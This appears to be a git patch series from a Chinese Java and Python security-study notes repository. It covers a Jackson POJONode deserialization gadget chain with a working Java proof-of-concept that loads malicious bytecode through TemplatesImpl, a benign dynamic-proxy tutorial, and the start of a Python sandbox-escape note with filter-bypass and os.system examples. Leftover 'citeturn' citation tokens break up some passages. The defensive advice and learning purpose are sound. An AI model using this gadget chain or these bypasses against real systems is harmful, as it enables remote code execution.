/ constructor run (副作用)
+```
+
+（上面链条与前面解释一一对应 — 这就是 POJONode#toString 在链条中的“桥接”/入口作用。）citeturn0search2turn1search6
+
+---
+
+**5) 为什么攻击者喜欢用 POJONode（要点总结）**
+
+- `POJONode` 能包装“任意 POJO”，把危险的对象 *隐式* 放入 Jackson 的树结构里。
+- `BadAttributeValueExpException` 等 JDK 类在某些上下文会被自动 `toString()`，因此把 `POJONode` 放进这些容器可以把“字符串/序列化”流程当成触发器。citeturn1search6turn0search2
+
+---
+
+**6) 防护与检测建议（务实可行）**
+
+这些建议都是可在生产中落地的安全措施，能阻断或检测上面那条链条：
+
+1. **不要接受/处理不受信任的反序列化数据，也不要启用不受限的多态（Default Typing）**。Jackson 的 `enableDefaultTyping()` 已被标为不安全/弃用；若必须使用多态，使用 `PolymorphicTypeValidator` 白名单限制。citeturn2search4turn2search3
+2. **拒绝或过滤掉输入中包含类型指示（`@class` / `@type` / class names）或可疑字段（如 `_bytecodes` / `transletBytecodes` / base64 字节码）**，在把原始 JSON 交给 `ObjectMapper.readValue` 之前先用 `JsonNode` 做预检。citeturn2search6
+3. **在构建/CI 中检测“危险配置”**：查找代码库中是否存在 `enableDefaultTyping()`、`activateDefaultTyping(...)` 没有验证器参数的用法、或把 `Object` 当作反序列化目标。citeturn2search6
+4. **移除或升级含已知 gadget 的第三方库**（commons-collections、commons-beanutils、老版本 Xalan/某些管理类等），并做依赖树审计。citeturn0search5turn2search6
+5. **运行时限制与检测**：用最小权限运行 JVM（限制执行命令、限制文件写入/网络出口），并监控异常类加载、未预期的 `defineClass` 行为或异常外部进程启动。日志/入侵检测要覆盖到反序列化入口。citeturn2search6
+
+---
+
+**参考（你可以点进去看实现 / 深度分析）**
+
+- xz.aliyun 的分析（讲解 POJONode → writeValueAsString → getter 的链条与 POJONode 做为利用载体的机制）。citeturn0search0turn0search2
+- 多篇博客/文章对 `POJONode` 利用与 Jackson 序列化调用 getter 的讨论（含实现调用栈）。citeturn1search6turn0search4
+- Jackson 官方 Javadoc（POJONode、PolymorphicTypeValidator / activateDefaultTyping 的 API 文档）。citeturn1search0turn2search3
+
+### 总结
+
+> https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/
+
+**POJONode#toString()：**内部保存对象（POJO），触发toString()时，Jackson 会把被包装的 POJO 当作普通 Bean 来序列化，序列化时会调用它保存对象的getter；
+
+作用:**触发toString()时，它的包装对象的 getter 会被触发执行，用来触发getOutputProperties的调用**
+
+**BadAttributeValueExpException.val：**BadAttributeValueExpException#readObject`，这是一个原生类，在`readObject`的时候会触发val`属性的 toString，当 JVM/应用把该异常对象转字符串或写日志时，会调用其 `toString()`，而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`（即 `val.toString()`）。（这是一个常见“触发点”容器。），
+
+作用：**把POJONode放到BadAttributeValueExpException的value字段，将其进行反序列化时，会触发value字段的toString()，也就是POJONode#toString()**
+
+所以这条链子反序列化的对象就是BadAttributeValueExpException
+
+### 完整样例代码和调用链
+
+```
+BadAttributeValueExpException.toString()
+ |
+ v
+POJONode.toString()
+ |
+ v
+ObjectMapper.writeValueAsString(Object)
+ |
+ v
+DefaultSerializerProvider.serializeValue()
+ |
+ v
+BeanSerializer.serialize()
+ |
+ v
+BeanSerializerBase.serializeFields()
+ |
+ v
+BeanPropertyWriter.serializeAsField()
+ |
+ v
+TemplatesImpl.getOutputProperties() <-- 调用触发点
+ |
+ v
+TemplatesImpl.newTransformer()
+ |
+ v
+TemplatesImpl.getTransletInstance()
+ |
+ v
+TemplatesImpl.defineTransletClasses()
+ |
+ v
+ClassLoader.defineClass() <-- 加载恶意字节码并执行静态初始化块
+ |
+ v
+恶意代码执行（如命令执行，RCE）
+```
+
+```
+package com;
+
+import com.fasterxml.jackson.databind.node.POJONode;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+import javax.management.BadAttributeValueExpException;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+
+public class AliyunBypassIt {
+
+ public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
+ Field field = obj.getClass().getDeclaredField(fieldName);
+ field.setAccessible(true);
+ field.set(obj, value);
+ }
+
+ public static void main(String[] args) throws Exception {
+
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
+ CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
+ jsonNode.removeMethod(writeReplace);
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ jsonNode.toClass(classLoader, null);
+ } catch (Exception e) {
+ }
+
+ ClassPool pool = ClassPool.getDefault();
+ pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
+ CtClass clazzz = pool.get("EvilTest");
+ byte[] code = clazzz.toBytecode();
+ TemplatesImpl templates = new TemplatesImpl();
+ setFieldValue(templates, "_bytecodes", new byte[][]{code});
+ setFieldValue(templates, "_name", "HelloTemplatesImpl");
+ setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
+
+ POJONode node = new POJONode(templates);
+ BadAttributeValueExpException val = new BadAttributeValueExpException(null);
+ setFieldValue(val, "val", node);
+
+ ByteArrayOutputStream barr = new ByteArrayOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(barr);
+ oos.writeObject(val);
+ oos.close();
+
+ System.out.println(barr);
+ ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
+ Object o = (Object) ois.readObject();
+ }
+}
+```
+
+# Java动态代理
+
+https://liaoxuefeng.com/books/java/reflection/proxy/index.html
+
+**什么是 Java 动态代理（通俗讲）**
+
+动态代理就是在**运行时**动态生成一个“代理对象”，这个对象在外形上看起来像某个接口的实现（可以被当成目标接口使用），但它并不是真正的业务实现，而是把所有方法调用**转交给一个统一的处理器**（`InvocationHandler`）来处理。这个处理器可以在调用前后做额外事情（例如日志、权限校验、缓存、事务、远程调用等），然后决定是否并如何调用真实对象的对应方法。
+
+**JDK 动态代理是：用一个实现接口的新类（代理类）拦截接口方法调用，并在 handler 中决定最终转发到哪个真实对象。这个真实对象可以是任何类实例，但代理本身永远是接口的代理**
+
+通俗比喻：
+想象你在一家餐馆点菜，服务员（代理）把你的请求转给厨房（真实对象）。服务员可以在转达前先记下信息、检查你会员资格、记录日志、或直接返回一个缓存的菜。服务员是动态创建的，但对你来说就是那个“会服务”的人。
+
+---
+
+**JDK 动态代理的关键点（要记住的）**
+
+- JDK 的动态代理基于 `java.lang.reflect.Proxy` 和 `InvocationHandler`。
+- 它**只能为接口创建代理**（代理类在运行时实现了这些接口）。如果你需要代理类而非接口（如对具体类代理），通常用 CGLIB / ByteBuddy 等库。
+- 典型用途：AOP（横切关注点）、RPC 桩、日志/监控、权限/校验、mock 单元测试等。
+
+---
+
+**简单示例：用动态代理给方法加日志（完整可运行）**
+
+下面的例子包含：
+
+1. 一个接口 `GreetingService` 和其真实实现 `GreetingServiceImpl`。
+2. 一个 `LoggingInvocationHandler`，把方法调用记录日志并委托给真实对象。
+3. 使用 `Proxy.newProxyInstance(...)` 创建代理，并演示调用链。
+
+```
+javaCopy code// File: DynamicProxyDemo.java
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+
+// 1) 接口
+public interface GreetingService {
+ String greet(String name);
+}
+
+// 2) 真实实现
+class GreetingServiceImpl implements GreetingService {
+ @Override
+ public String greet(String name) {
+ return "Hello, " + name;
+ }
+}
+
+// 3) InvocationHandler：所有代理方法调用都会来到这里
+class LoggingInvocationHandler implements InvocationHandler {
+ private final Object target;
+
+ public LoggingInvocationHandler(Object target) {
+ this.target = target;
+ }
+
+ // method: 被调用的方法；args: 方法参数
+ @Override
+ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+ // 在调用前做点事
+ System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + (args != null ? java.util.Arrays.toString(args) : "[]"));
+
+ // 可以做权限校验、缓存判断、远程调用替换等
+ // 这里我们把调用转发给真实对象
+ Object result = method.invoke(target, args);
+
+ // 在调用后做事
+ System.out.println("[LOG] 方法返回: " + result);
+ return result;
+ }
+}
+
+// 4) 演示创建代理并调用
+public class DynamicProxyDemo {
+ public static void main(String[] args) {
+ GreetingService real = new GreetingServiceImpl();
+
+ // 创建代理实例（指定类加载器、代理要实现的接口、以及 InvocationHandler）
+ GreetingService proxy = (GreetingService) Proxy.newProxyInstance(
+ GreetingService.class.getClassLoader(),
+ new Class[]{GreetingService.class},
+ new LoggingInvocationHandler(real)
+ );
+
+ // 调用代理的方法 —> 实际上会进入 LoggingInvocationHandler.invoke(...)
+ String s = proxy.greet("Alice");
+ System.out.println("最终结果: " + s);
+ }
+}
+```
+
+运行输出（示例）：
+
+```
+lessCopy code[LOG] 调用方法: greet, 参数: [Alice]
+[LOG] 方法返回: Hello, Alice
+最终结果: Hello, Alice
+```
+
+---
+
+**调用链（call chain）**
+
+下面从 **整体调用流程（调用链）** 与 **每个步骤的执行逻辑** 两个角度，对你提供的代码进行深入分析。为了让你能清晰看到 *方法从 main → proxy → handler → real object → 返回* 的完整路径，我会以“事件时序图式”方式拆开。
+
+---
+
+## ✅ 一、整体调用链（从 main 开始）
+
+调用链如下：
+
+main()
+ └── proxy.greet("Alice")
+ └── JDK 动态代理机制触发 InvocationHandler.invoke()
+ └── LoggingInvocationHandler.invoke(proxy, greet, ["Alice"])
+ ├── 前置日志打印
+ ├── 调用真实对象方法：method.invoke(target, args)
+ │ └── GreetingServiceImpl.greet("Alice")
+ │ └── 返回 "Hello, Alice"
+ ├── 后置日志打印
+ └── 返回 "Hello, Alice"
+ └── main() 接收到返回值
+
+
+
+---
+
+## ✅ 二、详细执行逻辑（逐行解析）
+
+以下按代码执行顺序，拆解整个调用过程。
+
+---
+
+### **1. main 方法启动**
+
+GreetingService real = new GreetingServiceImpl();
+
+
+
+创建真实对象 `GreetingServiceImpl`，用来作为代理的目标。
+**因为 JDK 动态代理只拦截“对代理对象的接口方法调用”，它本身不具有业务逻辑，因此必须有一个真实对象作为“被代理的目标对象”，由 InvocationHandler 在适当时机调用它来完成真正的业务行为。代理类自己没有真正实现 greet() 的业务逻辑，除非你在 invoke() 里把整个方法逻辑自己写一遍**
+
+---
+
+### **2. 通过 Proxy.newProxyInstance 创建代理对象**
+
+GreetingService proxy = (GreetingService) Proxy.newProxyInstance(
+ GreetingService.class.getClassLoader(),
+ new Class[]{GreetingService.class},
+ new LoggingInvocationHandler(real)
+);
+
+
+
+#### 🚩 此行发生三件事：
+
+---
+
+#### **① 生成代理类（JDK 自动生成字节码）**
+
+JDK 动态代理会在运行时生成一个 **实现 GreetingService 接口** 的代理类（记为 `$Proxy0`）。
+
+你永远不会看到它的源码，但它大概长这样：
+
+public final class $Proxy0 implements GreetingService {
+ private InvocationHandler h;
+
+
+ public $Proxy0(InvocationHandler h) {
+ this.h = h;
+ }
+
+ @Override
+ public String greet(String name) {
+ return (String) h.invoke(this, GreetingService.class.getMethod("greet", String.class), new Object[]{name});
+ }
+
+}
+
+
+#### **② 实例化代理对象 proxy**
+
+得到 `proxy`，它其实是 `$Proxy0` 的实例。
+
+#### **③ 绑定 InvocationHandler**
+
+`new LoggingInvocationHandler(real)` 意味着 **所有方法调用都会被转发到该 handler 的 invoke() 方法**。
+
+---
+
+#### **3. 调用代理的方法：proxy.greet("Alice")**
+
+String s = proxy.greet("Alice");
+
+
+
+注意！这里调用的是 **代理对象** 的 `greet`，不是 `GreetingServiceImpl` 的。
+
+于是进入代理类 `$Proxy0.greet()`（JDK 生成的代码）。
+
+****这里 `greet()` 调用的是 **“接口 GreetingService 中声明的 greet 方法”**，
+不是“实现类 GreetingServiceImpl 中的方法”。因此实现的是拦截接口方法调用******
+
+---
+
+#### **4. $Proxy0.greet() 内部：调用 InvocationHandler.invoke()**
+
+JDK 动态代理的核心行为：
+
+h.invoke(this, methodGreet, new Object[]{"Alice"});
+
+
+
+即：
+
+→ 调用 LoggingInvocationHandler.invoke()
+
+
+
+---
+
+## ✅ 三、InvocationHandler.invoke() 的完整执行流程
+
+@Override
+public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+ System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + Arrays.toString(args));
+
+
+ Object result = method.invoke(target, args); // 调用真实对象的方法
+
+ System.out.println("[LOG] 方法返回: " + result);
+ return result;
+
+}
+
+
+### 步骤：
+
+---
+
+### **① 打印前置日志**
+
+[LOG] 调用方法: greet, 参数: [Alice]
+
+
+
+---
+
+### **② 通过反射调用真实对象的方法**
+
+Object result = method.invoke(target, args);
+
+
+
+即：
+
+→ 调用 GreetingServiceImpl.greet("Alice")
+
+
+
+真实对象返回：
+
+
+
+
+---
+
+### **③ 打印后置日志**
+
+[LOG] 方法返回: Hello, Alice
+
+
+
+---
+
+### **④ 将返回值交回给代理（进而回到 main）**
+
+`invoke` 返回 `"Hello, Alice"`。
+
+---
+
+## ✅ 四、控制流回到 main
+
+System.out.println("最终结果: " + s);
+
+
+
+输出：
+
+
+
+
+至此调用链完整结束。
+
+---
+
+## 🎯 五、调用链总结（图示）
+
+main()
+ └── proxy.greet("Alice")
+ └── $Proxy0.greet("Alice") ← JDK 生成
+ └── LoggingInvocationHandler.invoke(...)
+ ├── 日志打印
+ ├── 调用真实对象 GreetingServiceImpl.greet()
+ ├── 后置日志
+ └── 返回结果
+ └── main() 输出结果
+
+
+
+---
+
+## 🎉 六、总结要点
+
+| 阶段 | 行为 |
+| ------------ | ------------------------------------------- |
+| 创建代理 | 运行时生成 `$Proxy0` 实现接口 |
+| 方法调用 | 所有调用都被转交给 InvocationHandler.invoke |
+| invoke 内部 | 可以做 AOP、鉴权、日志、RPC 转发等 |
+| 调用真实对象 | 通过反射执行 `method.invoke(target, args)` |
+
+**多个接口、lambda 写法、以及注意事项**
+
+1. **实现多个接口**：在 `Proxy.newProxyInstance` 的第二个参数给多个接口类数组即可。
+2. **简洁写法（Java 8 Lambda）**：
+
+```
+javaCopy codeGreetingService proxy2 = (GreetingService) Proxy.newProxyInstance(
+ GreetingService.class.getClassLoader(),
+ new Class[]{GreetingService.class},
+ (proxy, method, args) -> {
+ System.out.println("call " + method.getName());
+ // 这里没有真实对象，直接返回示例值
+ if (method.getName().equals("greet")) {
+ return "Hi, " + args[0];
+ }
+ return null;
+ }
+);
+```
+
+1. **注意：`proxy` 参数不要在 `invoke` 内做 `proxy` 的 `toString()` 或其他反射调用，容易导致无限递归或不可预期的行为。**
+2. **性能：** JDK 动态代理使用反射调用，性能一般够用；在高性能场景可以考虑其他方案（字节码生成、AOT、手写代理类等）。
+3. **限制：** 只能代理接口；如果要代理类（没有接口），可以使用 CGLIB / ByteBuddy，它们通过生成子类实现拦截（需要无 final 方法、可访问构造器等）。
# Listener 与 Filter、AOP 的区别
JavaWeb 中还有 Filter（过滤器）、AOP（面向切面编程），三者都能实现 “通用逻辑解耦”，但核心定位不同：
From f2e9c2074472ffd76efca3a53bdf7fd1de168e90 Mon Sep 17 00:00:00 2001
From: Perseus <104563184+Per3eus@users.noreply.github.com>
Date: Tue, 2 Dec 2025 16:21:11 +0800
Subject: [PATCH 20/32] Create PythonSec
---
PythonSec | 1 +
1 file changed, 1 insertion(+)
create mode 100644 PythonSec
diff --git a/PythonSec b/PythonSec
new file mode 100644
index 0000000..682b398
--- /dev/null
+++ b/PythonSec
@@ -0,0 +1 @@
+记录一些遇到的python安全知识
From 83f8205e43e6b48d4ca6597870e24da9cef3567f Mon Sep 17 00:00:00 2001
From: Perseus <104563184+Per3eus@users.noreply.github.com>
Date: Tue, 2 Dec 2025 16:26:08 +0800
Subject: [PATCH 21/32] Delete PythonSec
---
PythonSec | 1 -
1 file changed, 1 deletion(-)
delete mode 100644 PythonSec
diff --git a/PythonSec b/PythonSec
deleted file mode 100644
index 682b398..0000000
--- a/PythonSec
+++ /dev/null
@@ -1 +0,0 @@
-记录一些遇到的python安全知识
From 1c3a87995a40b2f8b103f297c96ea4ca7cbeaa7a Mon Sep 17 00:00:00 2001
From: Perseus <104563184+Per3eus@users.noreply.github.com>
Date: Tue, 2 Dec 2025 16:26:39 +0800
Subject: [PATCH 22/32] =?UTF-8?q?Create=20Python=E6=B2=99=E7=AE=B1?=
=?UTF-8?q?=E9=80=83=E9=80=B8.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.../Python\346\262\231\347\256\261\351\200\203\351\200\270.md" | 1 +
1 file changed, 1 insertion(+)
create mode 100644 "PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
@@ -0,0 +1 @@
+
From e9dd56d25c4a3ccae7defcb2c1456665f07c379a Mon Sep 17 00:00:00 2001
From: Perseus <104563184+Per3eus@users.noreply.github.com>
Date: Tue, 2 Dec 2025 16:58:35 +0800
Subject: [PATCH 23/32] =?UTF-8?q?Update=20Python=E6=B2=99=E7=AE=B1?=
=?UTF-8?q?=E9=80=83=E9=80=B8.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
...46\262\231\347\256\261\351\200\203\351\200\270.md" | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
index 8b13789..82b7fdd 100644
--- "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
+++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
@@ -1 +1,12 @@
+Python沙箱是一种安全机制，用于在受限环境中执行不受信任的Python代码，防止其执行非预期的指令对主机系统造成危害
+
+# Python代码执行流程
+```
+code="import os;os.system('whoami')"
+workspace = {} # 创建一个空字典，用于存储执行后的变量
+fun = compile(code, 'run_python', 'exec') # 编译代码
+exec(fun, workspace) # 在 workspace 中执行编译后的代码
+```
+
+Python代码执行流程先由源代码经过语法分析和词法分析解析为抽象语法树，再将AST编译为Python字节码，最后将Python字节码作为Python虚拟机指令执行。
From 5cfd7f0428fe7af2e3faa545f005c0ac22949383 Mon Sep 17 00:00:00 2001
From: Perseus <104563184+Per3eus@users.noreply.github.com>
Date: Tue, 2 Dec 2025 17:55:05 +0800
Subject: [PATCH 24/32] =?UTF-8?q?Update=20Python=E6=B2=99=E7=AE=B1?=
=?UTF-8?q?=E9=80=83=E9=80=B8.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
...31\347\256\261\351\200\203\351\200\270.md" | 436 ++++++++++++++++++
1 file changed, 436 insertions(+)
diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
index 82b7fdd..e41067b 100644
--- "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
+++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md"
@@ -10,3 +10,439 @@ exec(fun, workspace) # 在 workspace 中执行编译后的代码
```
Python代码执行流程先由源代码经过语法分析和词法分析解析为抽象语法树，再将AST编译为Python字节码，最后将Python字节码作为Python虚拟机指令执行。
+
+# Python沙箱分类
+对于Python沙箱存在多种限制用户执行恶意代码的方法
+## 字符串检查
+对用户的输入，通过字符串黑名单的方式进行限制，如判断不能出现os.system等字样，防护非常弱存在很多逃逸的可能性。
+举例：
+某 Python沙箱，分析每一行代码，查看是否开头为import或者from，如果是则从里面切割字符串取出导入的模块，分析是否在白名单中。
+
+绕过方法很多，随便举例：逻辑缺陷，print('a');import os;os.system('touch /tmp/ccc')，确保了非import 开头因此不会被检查。不同场景还有编码绕过等。
+
+## 语法树检查
+在代码执行前分析语法树，禁止导入、函数定义等操作，相比纯字符串匹配有一定的加强，可能针对检查的遗漏进行绕过。
+举例：
+某产品旧版Python沙箱，将用户提交的代码转换成抽象语法树，然后对函数调用进行分析。
+
+## 动态Hook
+在Python进程启动时将识别到的危险方法进行替换，为原始函数添加装饰器，实现动态插桩。
+## Python虚拟机修改
+CPython层面裁剪功能，将非必要的能力删除，增加代码逻辑限制，尽可能缩减攻击面。
+去除了os.system、os.popen等危险函数的实现，去除了subprocess、ctype等危险模块的实现，修改取值逻辑不允许获取名称带__的字段等。
+
+# 沙箱逃逸漏洞挖掘思路与技巧
+常规的思路：测试一下常见的危险函数能否执行，不进一步思考执行失败的原因。
+更好的思路：研究在受限环境中我们可以做的事情，分析清楚沙箱所做的所有限制，思考是否存在方法突破受限环境的限制。
+## 基础知识
+### Python 命名空间
+内置命名空间（built-in namespace）， Python 语言内置的命名空间，比如函数名 abs、char 和异常名称 BaseException、Exception 等等。
+全局命名空间（global namespace），模块中定义的命名空间，记录了模块的变量，包括函数、类、其它导入的模块、模块级的变量和常量。
+局部命名空间（local namespace），函数中定义的命名空间，记录了函数的变量，包括函数的参数和局部定义的变量。（类中定义的也是）
+
+命名空间查找顺序
+假设我们要使用变量 runoob，则 Python 的查找顺序为：局部的命名空间 -> 全局命名空间 -> 内置命名空间。
+如果找不到变量 runoob，它将放弃查找并引发一个 NameError 异常:
+```
+NameError: name 'runoob' is not defined。
+```
+**全局命名空间**
+我们可以通过globals()获取在当前全局命名空间下可以直接访问的变量和函数，如果在这些变量或函数中存在危险能力则可以直接使用。
+```
+>>> print(globals())
+{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': }
+```
+**内置命名空间**
+通过print(dir(__builtins__))获取在内置命名空间下可以获取的变量和函数，它是 Python 解释器默认加载的核心功能集合，可以直接在代码中使用，无需导入任何模块。
+
+
+```
+>>> print(dir(__builtins__))
+['ArithmeticError','AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
+```
+其中有一些函数可以帮助我们逃逸或辅助我们分析
+```
+__import__ 用于导入模块
+__loader__ 通过__loader__.load_module 导入模块
+__sepc__ 通过__spec__.loader.load_module 导入模块
+globals 可以列出全局命名空间下的变量
+locals 列出局部命名空间下的变量
+dir 可以列出对象相关的方法与属性
+eval 可以执行任意代码
+exec 可以执行任意代码
+open 读写文件
+```
+demo:
+可以看到在全局与内置空间都存在__spec__变量，而在全局空间中他的值为null，在builtin中则是一个ModuleSpec，我们要怎么拿到builtin中的__spec__呢。
+```
+>>> print(__spec__)
+None
+>>> del __spec__ # 从全局命名空间中删除此变量
+>>> print(__spec__) # 再次获取则会从内置命名空间中获取
+ModuleSpec(name='builtins', loader=, origin='built-in')
+```
+### 模块导入
+除了内置和当前全局命名空间下的变量与函数，我们也可以通过导入模块的方式使用其他模块命名空间下的变量与函数。
+```
+>>> os.system
+Traceback (most recent call last):
+ File "", line 1, in
+NameError: name 'os' is not defined
+>>>
+>>> import os
+>>> os.system('id')
+uid=1001(opsadmin) gid=1001(admingroup) groups=1001(admingroup),10(wheel)
+```
+### 类的继承
+所有的类均继承自Object基类，Python中一切均为对象。
+### 魔法方法及魔法字段
+Object基类的魔法方法及魔法字段
+```
+print(dir(object)) # 列出object基类包含的方法及字段
+['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
+```
+其他的类型都会在基类的基础上增加字段和方法。
+builtin_function_or_method类
+```
+print((open.__class__)) # 查看open方法的基类
+print((open.__class__.__mro__)) #查看open方法的继承关系
+print(dir(open)) #查看builtin_function_or_method类的魔法方法及字段
+
+(, )
+['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']
+```
+type类
+```
+print(dir(type))
+['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__dir__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__prepare__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__text_signature__', '__weakrefoffset__', 'mro']
+```
+function类
+```
+>>> def a():pass #定义函数
+...
+>>> print(a.__class__) # 函数类
+
+>>>
+>>> print(a.__class__.__mro__) #继承链
+(, )
+>>>
+>>> print(dir(a)) #函数具备的魔法属性与方法
+['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
+```
+其中一些魔法方法和字段的介绍，在分析Python沙箱逃逸时，这些魔法对我们有比较大的帮助
+```
+__class__ 返回类型
+__mro__ 返回类继承的所有父类
+__subclasses__ 函数获取所有子类
+__bases__ 返回所有直接父类组成的元组
+__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
+__globals__ 能够返回函数所在模块命名空间的所有变量
+__getattribute__ 当类被调用的时候，无条件进入此函数 ，getattr不可用时替换
+__getattr__ 对象中不存在的属性时调用
+__dir__ 列出所有方法和字段
+__code__ 函数对象的属性，存储了函数的 编译后的字节码 和其他执行相关的元数据
+__dict__ 存放类的静态函数、类函数、普通函数、全局变量以及一些内置的属性
+```
+```
+>>> open.__dir__()
+['__repr__', '__hash__', '__call__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__reduce__', '__module__', '__doc__', '__name__', '__qualname__', '__self__', '__text_signature__', '__str__', '__setattr__', '__delattr__', '__init__', '__new__', '__reduce_ex__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']
+>>> dir(open)
+['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']
+>>>
+>>> import os
+>>> getattr(os,"system")
+
+>>> os.__getattribute__("system")
+
+```
+## 危险操作
+### 执行系统命令
+```
+#os模块
+import os
+os.system('ls')
